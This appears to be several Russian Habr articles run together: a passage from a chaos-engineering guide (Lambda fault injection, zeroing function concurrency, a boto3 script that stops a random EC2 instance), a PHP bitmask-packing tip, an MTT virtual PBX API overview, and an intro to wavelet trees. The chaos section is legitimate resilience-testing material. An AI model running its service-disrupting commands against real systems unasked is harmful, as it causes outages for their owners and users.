Внедрять сбои может быть непросто, если вы используете serverless-компоненты, поскольку управляемые serverless-сервисы вроде AWS Lambda изначально не поддерживают внесение неисправностей.
#### Внедряем сбои в функции Lambda
Чтобы решить эту проблему, я написал небольшую [библиотеку на Python](https://github.com/adhorn/aws-lambda-chaos-injection) и [лямбда-слой](https://github.com/adhorn/aws-lambda-layer-chaos-injection) для внедрения сбоев в [AWS Lambda](https://aws.amazon.com/lambda/). Оба в настоящее время поддерживают задержки, ошибки, исключения и внедрение кодов ошибок HTTP.
Само внесение неисправностей осуществляется путём задания следующих параметров в [AWS SSM Parameter Store](https://docs.aws.amazon.com/systems-manager/latest/userguide/systems-manager-parameter-store.html):
```
{
"isEnabled": true,
"delay": 400,
"error_code": 404,
"exception_msg": "I really failed seriously",
"rate": 1
}
```
Можно добавить декоратор Python в функцию-обработчик для внедрения неисправности.
**— Вызываем исключение:**
```
@inject_exception
def handler_with_exception(event, context):
return {
'statusCode': 200,
'body': 'Hello from Lambda!'
}
>>> handler_with_exception('foo', 'bar')
Injecting exception_type with message I really failed seriously a rate of 1
corrupting now
Traceback (most recent call last):
File "", line 1, in
File "/.../chaos\_lambda.py", line 316, in wrapper
raise \_exception\_type(\_exception\_msg)
Exception: I really failed seriously
```
**— Внедряем неправильный код ошибки HTTP:**
```
@inject_statuscode
def handler_with_statuscode(event, context):
return {
'statusCode': 200,
'body': 'Hello from Lambda!'
}
>>> handler_with_statuscode('foo', 'bar')
Injecting Error 404 at a rate of 1
corrupting now
{'statusCode': 404, 'body': 'Hello from Lambda!'}
```
**— Внедряем задержку:**
```
@inject_delay
def handler_with_delay(event, context):
return {
'statusCode': 200,
'body': 'Hello from Lambda!'
}>>> handler_with_delay('foo', 'bar')
Injecting 400 of delay with a rate of 1
Added 402.20ms to handler_with_delay
{'statusCode': 200, 'body': 'Hello from Lambda!'}
```
Чтобы узнать больше об этой Python-библиотеке, перейдите по [ссылке](https://github.com/adhorn/aws-lambda-chaos-injection).
#### Вмешиваемся в работу Lambda, устанавливая лимит concurrency
Lambda по умолчанию использует механизм безопасности для параллельной *(concurrent)* работы всех функций в определённом регионе для каждой учётной записи. Под параллельной работой подразумевается число выполнений кода функции в любой момент времени. Оно используется для масштабирования вызовов функции в ответ на входящие запросы. Однако его же можно использовать для обратной цели: замедления работы Lambda.
```
❯ aws lambda put-function-concurrency --function-name --reserved-concurrent-executions 0
```
Эта команда установит `concurrency` на нуль, вынуждая запросы завершаться с ошибкой `429` («слишком много запросов»).
#### Thundra — отслеживаем serverless-транзакции
Этот инструмент для наблюдения за serverless-архитектурой обладает встроенной возможностью внедрять неисправности в serverless-приложения. [Thundra](https://www.thundra.io/) использует так называемые [span listeners](https://docs.thundra.io/docs/python-span-listeners) для внедрения сбоев, таких как отсутствие обработчика ошибок для DynamoDB, отсутствие резервного источника данных или отсутствие таймаута для исходящих HTTP-запросов. Я сам не пользовался этим инструментом, однако [эта публикация](https://blog.thundra.io/chaos-test-your-lambda-functions-with-thundra) от [Yan Cui](https://twitter.com/theburningmonk) и [это замечательное видео](https://www.youtube.com/watch?v=TpoN1wm2bok) от [Marcia Villalba](https://twitter.com/mavi888uy) прекрасно описывают процесс работы. Исходя из них, Thundra выглядит многообещающе.
Подводя черту под serverless-разделом, хочу порекомендовать всем [отличную статью](https://hackernoon.com/how-can-we-apply-the-principles-of-chaos-engineering-to-aws-lambda-80f87e3237e2) о сложностях хаос-инжиниринга в serverless-приложениях, которую написал уже упомянутый Yan Cui.
4. Внесение неисправностей на уровне инфраструктуры
---------------------------------------------------
Хаос-инжиниринг начинался в инъекции сбоев на уровне инфраструктуры — [как в случае Amazon, так и в случае Netflix](https://habr.com/ru/company/flant/blog/460367/). Пожалуй, инфраструктурные сбои: от отключения целого ЦОД и до случайной остановки экземпляров — реализовать проще всего.
И, естественно, первым на ум приходит пример с [chaos monkey](https://github.com/Netflix/chaosmonkey).
### Случайная остановка экземпляра EC2 в зоне доступности
На заре своего существования Netflix озаботился разработкой и внедрением правильного подхода к архитектурным решениям. Chaos monkey стала одним из первых приложений, развернутых в AWS, которое следило на состоянием автомасштабируемых stateless-микросервисов. Другими словами, любой экземпляр мог быть остановлен и автоматически заменен без потери состояния. Chaos monkey следила за тем, чтобы никто не нарушал это правило.
Следующий скрипт — по аналогии с хаос-обезьянкой — случайным образом выбирает и останавливает экземпляр в определенной зоне доступности внутри региона:
```
❯ stop_random_instance(az="eu-west-1a", tag_name="chaos", tag_value="chaos-ready", region="eu-west-1")
```
**stop-random-instance.py**
```
import boto3
import random
REGION = 'eu-west-1'
def stop_random_instance(az, tag_name, tag_value, region=REGION):
'''
>>> stop_random_instance(az="eu-west-1a", tag_name='chaos', tag_value="chaos-ready", region='eu-west-1')
['i-0ddce3c81bc836560']
'''
ec2 = boto3.client("ec2", region_name=region)
paginator = ec2.get_paginator('describe_instances')
pages = paginator.paginate(
Filters=[
{
"Name": "availability-zone",
"Values": [
az
]
},
{
"Name": "tag:" + tag_name,
"Values": [
tag_value
]
}
]
)
instance_list = []
for page in pages:
for reservation in page['Reservations']:
for instance in reservation['Instances']:
instance_list.append(instance['InstanceId'])
print("Going to stop any of these instances", instance_list)
selected_instance = random.choice(instance_list)
print("Randomly selected", selected_instance)
response = ec2.stop_instances(InstanceIds=[selected_instance])
return response
```
*([gist для stop-random-instance.py](https://gist.github.com/adhorn/dbb0350dcd2cbf6301538a977e3910f6#file-stop-random-instance-py))*
Обратите внимание на `tag_name` и `tag_value`. Подобные маленькие хитрости помогают предотвратить отключение «не того» экземпляра. #lessonlearned
*— «Да, было бы классно, если бы вы перезапустили базу…» — Упс, не тот экземпляр...*
5. Комплексные инструменты для оркестрации и внесения неисправностей
--------------------------------------------------------------------
Высока вероятность, что вы ошеломлены всем разнообразием инструментов, о которых шла речь до настоящего момента. К счастью, есть несколько готовых пакетов по оркестрации и внедрению неисправностей, которые объединяют функциональность вышеперечисленных инструментов, делая это в простой и удобной форме.
### Chaos Toolkit
[Chaos Toolkit](https://github.com/chaostoolkit) — один из моих любимейших инструментов подобного рода. Это целая Open Source-платформа для хаос-инжиниринга, поддерживаемая (на коммерческой основе) прекрасной командой [ChaosIQ,](https://chaosiq.io/) включающей в числе прочих [Russ Miles](https://twitter.com/russmiles), [Sylvain Hellegouarch](https://twitter.com/lawouach) и [Marc Perrien](https://twitter.com/mperrien).
Chaos Toolkit предлагает декларативный и расширяемый открытый API для экспериментов по организации хаоса. Он включает в себя драйверы для AWS, Google Cloud Engine, Microsoft Azure, Cloud Foundry, Humio, Prometheus и Gremlin.
Расширения — это набор тестов и последовательностей действий для организации различных экспериментов — например, для случайной остановки экземпляров в определенной зоне доступности, если значение `tag-key` равно `chaos-ready`.
**stop-random-instance-exp.json**
```
{
"version": "1.0.0",
"title": "What is the impact of randomly terminating an instance in an AZ",
"description": "terminating EC2 instance at random should not impact my app from running",
"tags": ["ec2"],
"configuration": {
"aws_region": "eu-west-1"
},
"steady-state-hypothesis": {
"title": "more than 0 instance in region",
"probes": [
{
"provider": {
"module": "chaosaws.ec2.probes",
"type": "python",
"func": "count_instances",
"arguments": {
"filters": [
{
"Name": "availability-zone",
"Values": ["eu-west-1c"]
}
]
}
},
"type": "probe",
"name": "count-instances",
"tolerance": [0, 1]
}
]
},
"method": [
{
"type": "action",
"name": "stop-random-instance",
"provider": {
"type": "python",
"module": "chaosaws.ec2.actions",
"func": "stop_instance",
"arguments": {
"az": "eu-west-1c"
},
"filters": [
{
"Name": "tag-key",
"Values": ["chaos-ready"]
}
]
},
"pauses": {
"after": 60
}
}
],
"rollbacks": [
{
"type": "action",
"name": "start-all-instances",
"provider": {
"type": "python",
"module": "chaosaws.ec2.actions",
"func": "start_instances",
"arguments": {
"az": "eu-west-1c"
},
"filters": [
{
"Name": "tag-key",
"Values": ["chaos-ready"]
}
]
}
}
]
}
```
*([gist для stop-random-instance-exp.json](https://gist.github.com/adhorn/b13d3a80d0a9deeffb925c1dc7f5204e#file-stop-random-instance-exp-json))*
Запустить этот эксперимент просто:
```
❯ chaos run experiment_aws_random_instance.json
```
Преимущество Chaos Toolkit, во-первых, в открытых исходниках (поэтому его легко приспособить для конкретных потребностей). Во-вторых, он прекрасно интегрируется в CI/CD-пайплайн и поддерживает непрерывное хаос-тестирование.
Недостатком Chaos Toolkit'а является его сложность: чтобы начать работать, необходимо разобраться в его особенностях и принципах. Более того, в Toolkit'е нет готовых экспериментов: придётся написать свои собственные. Впрочем, команда ChaosIQ активно работает над устранением этого недостатка.
### Gremlin
Другой мой любимый инструмент — Gremlin — включает в себя полный набор режимов внесения неисправностей в простой и удобной для использования форме с интуитивно понятным пользовательским интерфейсом — этакий вариант Chaos-as-a-Service.
Gremlin обеспечивает внедрение ошибок в [ресурсы](https://www.gremlin.com/docs/infrastructure-layer/attacks/#resource-gremlins), [состояния](https://www.gremlin.com/docs/infrastructure-layer/attacks/#state-gremlins), [сеть](https://www.gremlin.com/docs/infrastructure-layer/attacks/#network-gremlins) и [запросы](https://www.gremlin.com/docs/application-layer/attacks), позволяя экспериментировать с различными частями системы. Он поддерживает bare metal, различных поставщиков облачных услуг, контейнерные среды (включая Kubernetes\*), приложения и (в некоторой степени) serverless-вычисления.
*\* **Прим. перев.**: Подробнее об использовании Gremlin в контексте Kubernetes (и не только) можно прочитать, например, в [этой статье](https://medium.com/better-practices/chaos-d3ef238ec328).*
Бонусом идет отличный контент в [блоге проекта](https://www.gremlin.com/blog/). Кроме того, ребята из Gremlin по-настоящему круты и всегда готовы прийти на выручку! Прежде всего это [Matthew](https://twitter.com/callmeforni), [Kolton](https://twitter.com/KoltonAndrus), [Tammy](https://twitter.com/tammybutow), [Rich](https://twitter.com/richburroughs), [Ana](https://twitter.com/Ana_M_Medina) и [HML](https://twitter.com/HoReaL).
Работать с Gremlin'ом весьма просто.
Войдите в приложение и выберите **Create Attack**:
Выберите целевой экземпляр:
Выберите тип неисправности, которую хотите внедрить, и выпустите *(unleash)* маленького гремлина на свободу!
Должен признать, что всегда любил Gremlin, поскольку он делает хаос-экспериментирование простым и понятным.
Недостатком, на мой взгляд, является [ценообразование](https://www.gremlin.com/pricing/). Оно не слишком подходит новичкам или для эпизодического *(on-demand)* использования из-за своей лицензии. Впрочем, недавно появилась бесплатная версия. Другим минусом Gremlin'а является необходимость устанавливать клиента и демона в экземпляры, которые станут целями атаки, что по душе далеко не всем.
### Run Command в AWS System Manager
Сервис [EC2 Run Command](https://aws.amazon.com/blogs/aws/new-ec2-run-command-remote-instance-management-at-scale/), **представленный в 2015 году**, был создан для безопасного и простого администрирования экземпляров EC2. Сегодня он позволяет удаленно и безопасно управлять конфигурацией экземпляров не только типа EC2, но и из [гибридных окружений](https://docs.aws.amazon.com/systems-manager/latest/userguide/systems-manager-managedinstances.html). К ним относятся on-premises-серверы, виртуальные машины и даже ВМ в других облачных окружениях, используемых с Systems Manager.
Run Command позволяет автоматизировать DevOps-задачи или проводить обновления конфигурации независимо от размера вашего парка.
Run Command преимущественно используется для таких задач, как установка и bootstrapping приложений, захват логов или присоединение экземпляров к домену Windows, однако он также хорошо подходит для проведения хаос-экспериментов.
У меня есть [запись в блоге](https://medium.com/@adhorn/injecting-chaos-to-amazon-ec2-using-amazon-system-manager-ca95ee7878f5), посвященная внедрению хаоса с помощью AWS System Manager, а также [готовые исходники](https://github.com/adhorn/chaos-ssm-documents) для экспериментов. Попробуйте — уверен, вам понравится!
Закругляюсь!
------------
Прежде чем закончить эту статью, хочу подчеркнуть несколько важных моментов, касающихся внедрения сбоев.
1. Смысл хаос-инжиниринга не в том, чтобы ломать что-то в production. Это целое путешествие. Путешествие к знанию, получаемому путем проведения экспериментов в контролируемой среде — любой среде, будь то локальное окружение для разработки, beta, staging или production. Это путешествие может начаться где угодно! Об этом прекрасно сказала [Olga Hall](https://twitter.com/ovhall):
> «Цените хаос независимо от обстоятельств. Найдите для него место в своём путешествии». — Olga Hall, старший менеджер команды Resilience Engineering в Amazon Prime Video.
2. Прежде чем внести неисправность, помните, что необходимо иметь наготове соответствующие мониторинг и алерты. Без них вы не сможете оценить влияние экспериментов с хаосом или измерить радиус поражения — два критически важных компонента в практике хаос-инжиниринга.
3. Некоторые из описанных методов могут нанести серьёзный урон, поэтому соблюдайте осторожность и проводите начальные испытания на тестовых экземплярах, от падения которых не пострадают реальные клиенты.
4. Наконец, тестируйте, пробуйте, испытывайте, а затем повторяйте всё снова. Помните, что цель хаос-инжиниринга — выработать уверенность в способности вашего приложения (и инструментов) пережить турбулентные условия эксплуатации.
На этом всё. Спасибо, что дочитали до конца! Надеюсь, вам понравилась третья часть. Жду от вас мнений, комментариев и, конечно, хлопков в ладоши *(на [Medium](https://medium.com/@adhorn/chaos-engineering-part-3-61579e41edd8) — прим. перев.)*!
P.S. от переводчика
-------------------
Читайте также в нашем блоге:
* «[Chaos Engineering: искусство умышленного разрушения. Часть 1](https://habr.com/ru/company/flant/blog/460367/)» *(про концепцию chaos engineering и как он помогает находить/исправлять проблемы до того, как они приведут к сбоям production)*;
* «[Chaos Engineering: искусство умышленного разрушения. Часть 2](https://habr.com/ru/company/flant/blog/465107/)» *(как chaos engineering способствует позитивным культурным изменениям внутри организаций)*;
* «[Мониторинг и Kubernetes (обзор и видео доклада)](https://habr.com/ru/company/flant/blog/412901/)». | https://habr.com/ru/post/477994/ | null | ru | null |
# Упаковка булевых переменных для хранения и поиска в базе
Столкнулся с необходимостью хранить в базе формы, большая часть из которых являлась «галочками», то есть, по сути булевыми переменными. Создавать под тридцать галочек тридцать полей INT 1 не хотелось стал искать другой метод.
И нашел — битовый массив.
Точнее это не совсем битовый массив, это представление его в целом типе.
Сделал так:
— Все «галочки» пронумеровал от единицы примерно вот так:
```
```
— Далее — сделал две функции: упаковывающую массив в «битовый массив»:
```
function binary_array_pack($array){
$ret = 0;
// Нашумевший каламбур =)
if (!is_array($array))
$array = array($array);
foreach ($array as $val){
if ($val > 32 || $val < 1)
throw new Exception("Значения не должны превышать 32 и быть меньше 1");
$ret |= bindec('1'.str_repeat('0',$val-1));
}
return $ret;
}
function binary_array_unpack($val){
$ret = array();
for ($i=0; $i<32; $i++){
if ($val & bindec(str_repeat('0',31-$i).'1'.str_repeat('0',$i))){
$ret[] = $i;
}
}
return $ret;
}
```
Итого, мы получаем следующее:
— Пользователь отметил, к примеру, первый, второй и четвёртый пункты
— Мы получили массив $variable = array(1,2,4);
— Далее, мы скормили этот массив функции binary\_array\_pack($variable)
— Функция вернула целое число, которое в двоичном представлении выглядит так — 1011, а в десятичном оно равно 11
Собственно, мы имеем, что i-1 й двоичный разряд показывает на наличие i-й «галочки». В данном случае у нас есть нулевой, первый и третий разряды, что означает наличие первой, второй и четвёртой галочки.
Теперь это число можно записать в **одно** поле базы.
**Вопрос — как же теперь делать выборку по этим полям?**
Ответ — очень просто. Нам помогут побитовые операции, которые поддерживаются (на сколько мне известно) всеми СУБД.
Например:
— Пользователь выбрал для поиска вторую галочку
— Мы запаковали её в наш как бы «битовый массив», получили число 2.
— Сделали запрос `SELECT * FROM t WHERE field & 2 != 0`
— То есть мы сделали побитовое умножение и, например, число 11, которое в двоичном представлении записывается как 1011 даст нам при умножении на 0010 число 0010. Если же в поле не было записана вторая «галочка», то эта операция даст 0. То же самое будет, если из множественного выбора не будет ни одного соответствия.
Для других видов поиска можно использовать другие побитовые операции.
Вот так можно сократить количество полей в базе без ущерба для функциональности.
По поводу производительности такой выборки точных данных [пока] нет (тесты последуют), хотя ИМХО, побитовые операции нативны для процессора и должны летать.
Приведённые функции лишь отражают суть подхода и, конечно, не претендуют на роль окончательной реализации. Все примечания и замечания приветствуются.
Основное ограничение этого подхода — максимум 64 «галочки» (разрядность BIGINT), а при данной реализации — максимум 32 «галочки» (максимум для функции php bindec).
**UPD**
Спасибо всем комментировавшим. Комментарии все по делу (к счастью).
Итого: Такой подход можно использовать для фиксирования множественного выбора (например, не известно заранее, сколько галок может поставить юзер, так что не понятно, сколько полей водить), но его использование приведёт к фулскану, что, естесвенно, гораздо хуже, чем обычная выборка по полям. Однако, это выведено из теории, экспериментов не ставилось =) | https://habr.com/ru/post/37131/ | null | ru | null |
# Виртуальная АТС МТТ: обзор возможностей
Немного о том, что из себя представляет виртуальная АТС, какова её роль в офисной среде, а также о технических и интеграционных возможностях одного из самых продвинутых и актуальных решений в этой области.
АТС в облаке
------------
Виртуальные АТС, если говорить упрощённо, это “облачная” замена аппаратных АТС для офисов любых размеров. Компании-клиенту нет нужды закупать сложный и недешевый в обслуживании аппаратный комплекс. Все его функции успешно заменяет услуга, которую предоставляет провайдер; оборудование скорее всего будет стоять тоже на стороне провайдера, хотя это зависит от формата предоставляемой услуги. В конечном счёте клиент получает готовую мини-АТС, а то и целый call-центр. Виртуальная АТС обеспечивает клиента многоканальным номером, функциями записи разговоров, голосовых приветствий, перевода вызова — всё это и многое другое доступно через Интернет. Конечные пользователи используют VoIP-телефоны или программные приложения IP-телефонии.
Виртуальная АТС “МТТ Бизнес” — пример такого решения.
Данный комплекс был разработан в 2015 году. Первоначально речь шла о создании мультимодульной платформы бизнес-коммуникаций.Система, однако, постоянно обновлялась и модернизировалась: к августу 2018 года были завершены некоторые программные доработки, оптимизирована телекоммуникационная системная архитектуры, обновлен аппаратный элемент. Выполненная модернизация преследовала собой цель увеличение результативности платформы, объединение сервисов pozvonim.com, поэтапное перебазирование услуг на новое ядро. В результате всех модификаций возник единый комплекс решений под названием “МТТ Бизнес” — виртуальная АТС, снабжённая многочисленными средствами интеграции и расширения возможностей.
Интернет-интерфейс виртуальной АТС довольно прост: любой пользователь сможет за короткий срок разобраться с его основными функциями, настройками, а также подключением различных дополнительных услуг.
Последнее глобальное обновление виртуальной АТС позволило серьёзно увеличить количество поддерживаемых пользователей: теперь сразу более 2000 операторов могут выполнять свои функции. Кроме того, появилась возможность интеграции разных сторонних программ при помощи открытого API.
Значительное увеличение рабочих мест способствует применению виртуальной АТС от МТТ в деятельности компаний с разветвленной структурой филиалов, в том числе банковских учреждений, крупных производственных организаций, государственных предприятий и так далее. Клиенты сразу получают возможность одновременного доступа к сервису со стороны множества работников, уменьшают свои затраты на техническую поддержку, а заодно решают вопросы контроля результативности и безопасности.
В качестве основных плюсов инструментов “МТТ Бизнес” можно назвать:
1. Наличие возможности отвечать на звонки, осуществлять их при помощи виртуальной АТС.
2. Увеличение скорости работы менеджеров по телефонным звонкам в 2 раза за счет использования набора за один клик.
3. Формирование индивидуальных коммерческих предложений на основе персональных данных покупателей из их карточек, повышение качества обслуживания.
4. Введение статистики звонков, записи разговоров, их прослушивание, постоянная проверка работы каждого сотрудника.
Дополнительные функции
----------------------
Помимо основных бизнес-функций “МТТ Бизнес” предлагает ряд дополнительных Например:
* **Голосовое меню IVR**. Это виртуальный автоответчик, голосовая презентация, которая не использует стандартные гудки, а осуществляет в автоматическом режиме распределение входящих звонков на сотрудников, способных их принять.
* **Переадресация вызовов** в офис, на персональные номера телефонов работников компании. Благодаря ей будет принят каждый звонок клиента.
* **Введение учета по вызовам**, которые были обработаны и пропущены. Данная статистика позволяет проанализировать деятельность менеджеров, выполнить проверку в режиме онлайн понесенных затрат на связь.
* **Голосовая почта**. Обработка звонков, которые поступили после завершения рабочего дня, происходит в автоматическом режиме. Все ответы клиенты отправляются утром.
* **Добавление голосовых роботов**, разработанных на базе конструктора VoiceBox, разработанного в МТТ. Они предназначены для уменьшения расходов на обработку привычных обращений клиентов, повышения качества обслуживания.
Интеграция с CRM
----------------
В 2018 году виртуальная АТС, содержащая все необходимые инструменты для увеличения продаж, автоматизации маркетинга, стала доступна для клиентов [amoCRM](https://www.tadviser.ru/index.php/%D0%9A%D0%BE%D0%BC%D0%BF%D0%B0%D0%BD%D0%B8%D1%8F:AmoCRM_(%D0%90%D0%BC%D0%BE%D1%86%D1%80%D0%BC)). Интеграция “МТТ Бизнес” и [amoCRM](https://www.tadviser.ru/index.php/%D0%9A%D0%BE%D0%BC%D0%BF%D0%B0%D0%BD%D0%B8%D1%8F:AmoCRM_(%D0%90%D0%BC%D0%BE%D1%86%D1%80%D0%BC)) позволила воспользоваться облачными инструментами для привлечения покупателей, мониторинга работы менеджеров, улучшения качества обслуживания. Все эти функции стали доступны в личном кабинете [amoCRM](https://www.tadviser.ru/index.php/%D0%9A%D0%BE%D0%BC%D0%BF%D0%B0%D0%BD%D0%B8%D1%8F:AmoCRM_(%D0%90%D0%BC%D0%BE%D1%86%D1%80%D0%BC)). Проведенная интеграция помогла значительно улучшить результативность коммерческой деятельности.
В 2020 году произошла модернизация интеграции “МТТ Бизнес” с Битрикс 24 и AmoCRM. Она позволила добиться оптимизации бизнес-процессов, увеличения роста продаж. Объединение виртуальной АТС с CRM помогло организовать надежный базис для системы продаж:
* разработать планы продаж;
* организовать контроль работы сотрудников;
* устранить человеческий фактор при добавлении сведений в CRM;
* своевременно получать актуальные данные по реализации, необходимые для принятия дальнейших решений, разработки стратегий, будущего развития;
* увеличить лояльность клиентов, сформировать доверительную коммуникацию от звонка к звонку;
* улучшить качество обслуживания клиентов.
Технические аспекты применения открытого API
--------------------------------------------
Открытый API помогает объединить “МТТ Бизнес” с внешними приложениями, информационными системами, получить пользователям “МТТ Бизнес” Виртуальной АТС дополнительные возможности. Больше всего в этом будут заинтересованы организации, которые в своей деятельности применяют CRM и, разработанные под них сервисы и программы. Открытое API позволяет осуществить современную функциональность, которая нужна определенному бизнесу, упростить процесс применения продукта.
Например, вот так можно инициировать звонок
Инициализация входящего вызова
`POST/makeCall {callerId, calleeId}`
Аргументы метода:
*callerId* – SIP ID рабочего места, с которого осуществляется вызов. Обычно “подтягивается” из данных о рабочем месте в CRM.
*calleeId* – Вызываемый номер.
Логика работы:
1. Виртуальная АТС инициирует вызов на рабочее место в CRM, для этого используется аргумент *callerId*:
2. Ожидание принятия вызова на рабочем месте, спустя минуту без ответа – работа метода прерывается;
3. После успешного принятия вызова со стороны CRM Виртуальная АТС инициирует второй исходящий вызов на номер абонента, параметр *calleeId,* и производит объединение вызовов.
4. На выходе мы получаем уникальный *id* вызова и boolean-значение успешности вызова – *success*.
Пример запроса:
`{ "params": { "calleeId": "89219462761", "callerId": "883140582526566" } }`
Пример ответа:
`{ "result": { "call": { "id": "7NKe6!8fa1FMSlc6ypZdb1GSV6ZN@10.133.51.137" }, "success": 1 }, }`
Перевод вызова
`POST/transferCall {call {id, tag}, calleeId, transportId}`
Аргументы метода:
*call {id}* – идентификатор вызова;
*call {tag}* – дополнительный идентификатор вызова;
*calleeId* – номер абонента, на который будет переводиться вызов;
*transportId* – внутренний идентификатор перевода вызова.
Логика работы предполагает два сценария использования:
1. Перевод вызова во время разговора. На время ожидания ответа от номера, на который был переведён вызов будет включена фоновая мелодия.
2. Перевод вызова до начала разговора. Вызывающий абонент при этом слышит обычные гудки. После получения оповещения о входящем вызове, оператор в CRM может перевести вызов на необходимый номер.
Пример запроса:
`{ "params": { "call": { "id": "b9111e52e5d011e9aec7ac162d8cda20_00015D95DB072BFC_7022A1~2o", "tag": "133609" }, " calleeId ": "883140582526566", "transportId": "10.133.51.137:5070" } }`
Пример ответа:
`{ "result": { "success": 1 } }`
Интерфейс “МТТ Бизнес”
----------------------
**Рабочее место**
В рабочем месте доступны следующие разделы:
1. **Журнал.**
В “Журнале” можно посмотреть историю поступающих и исходящих звонков Виртуальной АТС, сделать необходимую выборку при помощи фильтров.
* **Настройки.**
В “Настройках” можно:
* посмотреть текущие рабочие места;
* получить доступ к редактированию входящей связи;
* ознакомиться с группами;
* выбрать требуемый тип уведомлений;
* воспользоваться SMS-рассылкой;
* получить доступ к списку пользователей.
* **Услуги**
В “Услугах” представлены все функции виртуальной АТС, доступные пользователю.
* **Оплата**
В “Оплате” указана вся необходимая финансовая информация.
* **Поддержка**
Данный раздел предназначен для оказания помощи пользователям, их консультирования.
Подключение МТТ Бизнес
----------------------
Для интеграции виртуальной АТС с Битрикс24 можно воспользоваться рабочим местом (SIP ID). При необходимости можно сделать новое рабочее место.
Для настройки МТТ Бизнес нужно выполнить следующие действия:
1. В Личном Кабинете администратора выбрать: Настройки - Рабочие места - Создать рабочее место.
2. В появившемся окне написать Битрикс24 в поле “имя”, указать номер, который будет высвечиваться при звонке, выполненным через интернет-портал.
Изначально номер выбирается настройками лицевого счета. Можно указать определенный номер из списка номеров, которые были получены для лицевого счета, добавлены в рамках запроса.
Для настройки поступающих звонков нужно зайти в раздел “Входящая связь”, указать условия переадресации номера, необходимого для работы в Битрикс24.
* Выбрать пункт “На рабочее место”.
* Указать рабочее место, настройками которого нужно воспользоваться во время интеграции с Битрикс24.
Во время настройки АТС нужно воспользоваться сведениями, которые были указаны в настройках рабочего места МТТ Бизнес.
Проверка интеграции
-------------------
Для проверки нормальной работы интеграции нужно воспользоваться функционалом исходящего звонка из CRM. Для тестирования будут нужны учетная запись пользователя Битрикс24, его рабочее место “МТТ Бизнес”, рекомендованный номер телефона администратора Битрикс24, подготовленное для работы со звонками ПО и оборудование.
Для прохождения проверки необходимо выполнить следующие действия:
1. Администратор Битрикс24 должен указать номер своего телефона в требуемом поле.
2. Администратор должен указать пользователя Битрикс24, для которого формируется рабочее место “МТТ Бизнес”.
3. После нажатия кнопки “Тестовой звонок” начинает работать сценарий отправленного звонка на определенный внешний номер: звонок от “МТТ Бизнес” поступает на рабочее место пользователя CRM, он принимает вызов, “МТТ Бизнес” отправляет исходящий звонок на внешний номер, пользователь Битрикс24 слышит гудки дозвона.
4. Администратор видит поступающий звонок от пользователя Битрикс24, который считается инициатором вызова, на своем телефоне.
Для настройки интеграции в интерфейсе приложения “МТТ Бизнес” доступны 4 функции. Прочий функционал и поведения CRM настраивается в разделах настройки Битрикс24. Настройка логики прохождения звонков, покупка номеров и других показателей происходит в личном кабинете.
Виртуальная АТС от АО “МТТ” позволяет осуществить быстрое развертывание телефонии в любой организации. Ее инструменты помогают организовать голосовую связь с внутренними и внешними абонентами, координировать сценарии связи, определить очередь звонок, воспользоваться интерактивным голосовым меню, создать группы с бесплатной внутренней связью. В рамках данного комплексного решения могут использоваться различные абонентские устройства.
Подводя итоги можно утверждать, что Виртуальная АТС “МТТ Бизнес” — умная телефонная связь через интернет, которая является полноценной заменой физической офисной мини-АТС. Она позволяет масштабировать бизнес, добиться роста продаж без дополнительных расходов на технику, настройки. Осуществить подключение к ней сможет любое количество абонентов. И для этого не понадобятся провода и настройки аппаратуры. Необходимое оборудование для организации телефонии высокого качества предоставляет АО “МТТ”. | https://habr.com/ru/post/661875/ | null | ru | null |
# Вейвлет деревья
*Succinct data structures* свежее веяние в алгоритмистике. В русскоязычной школе материала мало, нет даже устоявшегося перевода. Будем восполнять этот пробел. На правах первопроходцев терминологию будем вводить налету. Пусть, *скажем, компактные структуры данных.* На Хабре уже появилась хорошая ознакомительная [статья](https://habr.com/ru/company/mailru/blog/479822/).
Под катом развитие темы с описанием пары новых(такое вы не найдете у *Кнута*) ~~трюков~~ структур, примеры применения и реализация на языке *Go*.
#### Итак — вейвлет дерево
Поиск в Яндекс подскажет вам вейвлет преобразование, как альтернативу преобразованию Фурье в цифровой обработке сигнала с разложением на высоко и низкочастотные составляющие, что позволяет отбросить высокочастотную и осуществить сжатие с предсказуемыми потерями. Сегодня не об этом. Вейвлет деревья были предложены *Grossi, Gupta, Vitter* в 2003 как компактное представление последовательности на конечном алфавите с гарантированно быстрыми методами доступа.
На картинке бинарное дерево последовательности **S=“alabar a la alabarda”** *на алфавите* **Σ={‘ ’, a, b, d, l, r}** Корень дерева хранит битовую карту всей последовательности, а ветви рекурсивно разбивают вхождения элементов последовательности в подразделы алфавита. Листья дерева ссылаются на символы алфавита. Так **«b»** последовательности кодируется **«0»** в корне потому что относится к левому подразделу алфавита и далее **«1»** в левой ветви потому что относится к правому подразделу левого раздела. На каждой ступени дерева кодируем символ **«0»** или **«1»** если он попадает в левый или правый раздел алфавита соответственно.
Формальное рекурсивное определение структуры:
```
Вейвлет дерево последовательности S[1 ,n] на алфавите [a .. b] ⊆ [1 .. σ] это сбалансированное бинарное дерево b − a + 1 листьев такое что
если a = b просто лист "a" иначе дерево имеет корень представляющий всю последовательность в виде битовой карты v_root определенной следующим образом
если S[i] не больше (a + b)/2 то v_root[i] = 0, иначе v_root[i] = 1
Определим S0[1 , n0] как подраздел S[1 ,n] состоящую из символов c > (a + b)/2 Тогда левая ветвь v_root это вейвлет дерево S0[1 , n0] на алфавите [a..(a + b)/2] и правая ветвь это в-дерево для S1[1, n1] на алфавите [1+(a + b)/2..b]
```
Можно заметить, что дерево будет lg(σ) высоты и иметь σ-1 узлов. На каждом уровне дерева будет храниться n бит. То есть всего нужно хранить n\*lg(σ) бит, а сложность методов будет иметь множитель lg(σ).
Вейвлет дерево предоставляет два основных метода доступа.
***Access(S[i])***
Проверяем **v\_root[i]**
Если **«0»** то **S[i]** в левом разделе словаря и левой ветви дерева, иначе направо. Остается решить на какую позицию в бит-карте узла проецируется символ. Если мы оперируем, например, вторым **«0»** в бит-карте очевидно символ будет проецироваться на вторую позицию левой ветви. Третья единица на третью позицию правой ветви и так вниз рекурсивно. Количество **«0»** до позиции **i** в бит-карте **B** принято считать функцией ***rank0(B, i)***, единиц ***rank1(B, i).***
Функции ***rank()*** и ***select()*** базовые функции над бит-картами для компактных(succinct) структур данных. (Толковое объяснение функций с картинками можно посмотреть в уже упомянутом [посте](https://habr.com/ru/company/mailru/blog/479822/).
Алгоритмы для этих функции хорошо проработаны и реализованы.
Обратная операция:
